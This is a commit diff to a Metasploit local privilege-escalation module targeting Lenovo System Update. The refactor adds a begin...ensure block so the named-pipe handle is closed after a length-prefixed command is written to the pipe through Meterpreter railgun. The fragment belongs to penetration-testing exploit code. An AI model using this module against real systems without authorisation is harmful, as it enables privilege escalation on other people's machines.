Skip to content

Commit d99eedb

Browse files
committed
Adding begin...ensure block
1 parent acb053a commit d99eedb

File tree

1 file changed

+16
-13
lines changed

1 file changed

+16
-13
lines changed

modules/exploits/windows/local/lenovo_systemupdate.rb

Lines changed: 16 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -93,22 +93,26 @@ def write_named_pipe(pipe, command)
9393
vprint_good("Opended #{pipe}! Proceeding...")
9494
end
9595

96-
# First, write the string length as Int32 value
97-
w = client.railgun.kernel32.WriteFile(handle, [command.length].pack('l'), 4, 4, nil)
96+
begin
9897

99-
if w['return'] == false
100-
print_error('The was an error writing to pipe, check permissions')
101-
return false
102-
end
98+
# First, write the string length as Int32 value
99+
w = client.railgun.kernel32.WriteFile(handle, [command.length].pack('l'), 4, 4, nil)
103100

104-
# Then we send the real command
105-
w = client.railgun.kernel32.WriteFile(handle, command, command.length, 4, nil)
101+
if w['return'] == false
102+
print_error('The was an error writing to pipe, check permissions')
103+
return false
104+
end
106105

107-
if w['return'] == false
108-
print_error('The was an error writing to pipe, check permissions')
109-
return false
110-
end
106+
# Then we send the real command
107+
w = client.railgun.kernel32.WriteFile(handle, command, command.length, 4, nil)
111108

109+
if w['return'] == false
110+
print_error('The was an error writing to pipe, check permissions')
111+
return false
112+
end
113+
ensure
114+
session.railgun.kernel32.CloseHandle(handle)
115+
end
112116
true
113117
end
114118

@@ -156,7 +160,6 @@ def exploit
156160
begin
157161
cd(temp_dir)
158162
rescue Rex::Post::Meterpreter::RequestError
159-
session.railgun.kernel32.CloseHandle(handle)
160163
fail_with(Failure::BadConfig, "Failed to use the #{temp_dir} directory")
161164
end
162165

0 commit comments

Comments
 (0)